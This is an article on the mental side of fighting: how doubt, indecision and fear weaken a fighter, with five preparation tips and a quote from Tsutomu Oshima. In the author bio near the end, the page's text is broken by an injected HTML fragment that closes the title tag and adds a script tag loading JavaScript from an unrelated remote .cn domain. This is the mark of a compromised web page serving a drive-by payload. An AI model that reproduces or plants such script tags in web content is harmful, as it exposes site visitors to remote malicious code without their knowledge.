If you have one of these feelings the other two are nearby. If you have doubt in your abilities as a fighter or are incisive on how you are going to fight your opponent, fear will automatically kick in & take over. Your chances of being victorious before even entering the ring will be knocked out. These emotions will effect your performance due to the mind / body connection. You will hesitate on fully committing to your techniques & combinations while fighting. You will telegraph your movements due to indecision and your speed of your techniques will slow down due to being stiff & rigid.<br><br>Like animals, which sense fear, humans are no different. The vibrations of fear pass from one mind to another just as quickly & surely as a human voice. Your opponent across the ring will sense your fear & use it to his advantage. The three horsemen need to be mastered before claiming your title in or outside of the ring.<br><br>Here are some tips<ol><li>Think from your opponents mind, what would he do?</li><li>Watch & analyze your opponents fights to get a sense of his game plan</li><li>Focus & remind yourself of your strengths as a fighter.</li><li>At night before going to sleep rehearse your fight plan in your mind & what you will do to counter attacks</li><li>Have a flexible fight plan ready in your mind & stick to it</li></ol>"In order to achieve victory you must place yourself in your opponent's skin. If you don't understand yourself, you will lose 100% of the time. If you understand yourself you will win 50% of the time. If you understand yourself & your opponent you will win 100% of the time." -- Tsutomu Oshima<br><br><b>About the Author</b><br><br>"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Norm Bettencourt is the creator of TACT Self Defense which specializes in combat management tactics for mind, body & spirit.
